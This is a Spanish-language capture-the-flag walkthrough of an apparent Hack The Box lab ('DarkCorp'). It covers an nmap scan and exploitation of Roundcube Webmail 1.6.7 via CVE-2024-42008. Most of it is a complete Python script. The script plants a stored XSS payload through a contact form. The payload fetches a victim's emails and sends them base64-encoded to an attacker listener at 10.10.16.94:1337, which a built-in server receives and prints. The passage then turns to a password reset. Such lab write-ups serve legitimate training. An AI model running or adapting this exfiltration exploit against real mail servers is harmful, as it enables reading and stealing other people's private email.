DarkCorp

Enumeración:
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: targeted
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Wed Jul 2 15:58:20 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p22,80 -oN targeted 10.10.11.54
2 │ Nmap scan report for 10.10.11.54
3 │ Host is up (0.24s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
7 │ | ssh-hostkey:
8 │ | 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
9 │ |_ 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
10 │ 80/tcp open http nginx 1.22.1
11 │ |_http-server-header: nginx/1.22.1
12 │ |_http-title: Site doesn't have a title (text/html).
13 │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14 │
15 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16 │ # Nmap done at Wed Jul 2 15:58:40 2025 -- 1 IP address (1 host up) scanned in 19.87 seconds
Entramos a ver la Web:

Registramos un usuario nuevo:

Inspección del botón de ayuda
Roundcube Webmail 1.6.7

Rellenar el formulario de contacto

Intercepta la solicitud con Burp Suite y encontramos algo interesante que podemos modificar el distinatario:
Agregamos nuestro correo creado.

Y esperamos un rato hasta que nos llegue un mensaje a nuestra bandeja:

Explotar la vulnerabilidad CVE-2024-42008
La vulnerabilidad CVE-2024-42008 permite que se redirijan los mensajes a otro destinatario. Aquà está la explotación:
Ve a la bandeja de entrada del correo en
http://mail.drip.htb/?_task=mail&_mbox=INBOX
.Recibirás un correo que originalmente estaba destinado a
support@drip.htb
. Al final del correo, encontraras otro correo debcase@drip.htb
.
Obtener las cookies y configurar el script
Antes de ejecutar el script, asegúrate de obtener cookies frescas de
http://drip.htb
utilizando las herramientas de desarrollo (F12).Inserta estas cookies en la variable
Cookie
de la configuración del script Python, y usa el número de mensaje adecuado para leer los mensajes (1-3, posiblemente 4).
Script en Python para leer los mensajes
import requests
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
import threading
import time
from lxml import html
# Configuración
TARGET_URL = 'http://drip.htb/contact'
LISTEN_IP = '0.0.0.0'
LISTEN_PORT = 1337
# Payload
start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid='
end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.16.94:1337/c=${btoa(t)}`)) foo=bar">Foo</body>'
# Headers
headers = {
'Host': 'drip.htb',
'Origin': 'http://drip.htb',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0',
'Referer': 'http://drip.htb/index',
'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',
'Connection': 'close'
}
# Handler del servidor
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if '/c=' in self.path:
encoded_data = self.path.split('/c=')[1]
decoded_data = base64.b64decode(encoded_data).decode('utf-8', 'ignore')
print(f"[+] Received data:\n{decoded_data}\n")
tree = html.fromstring(decoded_data)
message_body = tree.xpath('//div[@id="messagebody"]')
if message_body:
print("[+] Extracted Message Body:\n")
print(message_body[0].text_content().strip())
else:
print("[!] No <div id='messagebody'> found.")
else:
print("[!] No data in request.")
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
def log_message(self, format, *args):
return
# Servidor
def start_server():
httpd = HTTPServer((LISTEN_IP, LISTEN_PORT), RequestHandler)
print(f"[+] Listening on port {LISTEN_PORT}...\n")
httpd.serve_forever()
# Iniciar servidor en hilo
server_thread = threading.Thread(target=start_server)
server_thread.daemon = True
server_thread.start()
# Enviar múltiples UIDs
for uid in range(1, 5):
post_data = {
'name': 'XSS Bot',
'email': 'attacker@drip.htb',
'message': f"{start_mesg}{uid}{end_mesg}",
'content': 'html',
'recipient': 'bcase@drip.htb'
}
try:
print(f"[*] Sending payload with UID {uid}...")
response = requests.post(TARGET_URL, data=post_data, headers=headers, timeout=10)
print(f"[+] Sent! Status Code: {response.status_code}\n")
except Exception as e:
print(f"[!] Error sending UID {uid}: {e}")
time.sleep(2)
# Mantener script vivo
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] Server stopped.")
La vÃctima abre su correoCuando
bcase
abre su correo en el webmail:
Su navegador ejecuta el JavaScript.
Se extrae un correo de su bandeja.
Se envÃa a tu listener.
El listener imprime en consola el contenido.

Agregar un nuevo subdominio al archivo /etc/hosts
echo "10.10.11.54 dev-a3f1-01.drip.htb" | sudo tee -a /etc/hosts
Visualizamos el nuevo dominio:

En este punto presionamos el LOGIN
y podemos resetear la contraseña de bcase@drip.htb
Last updated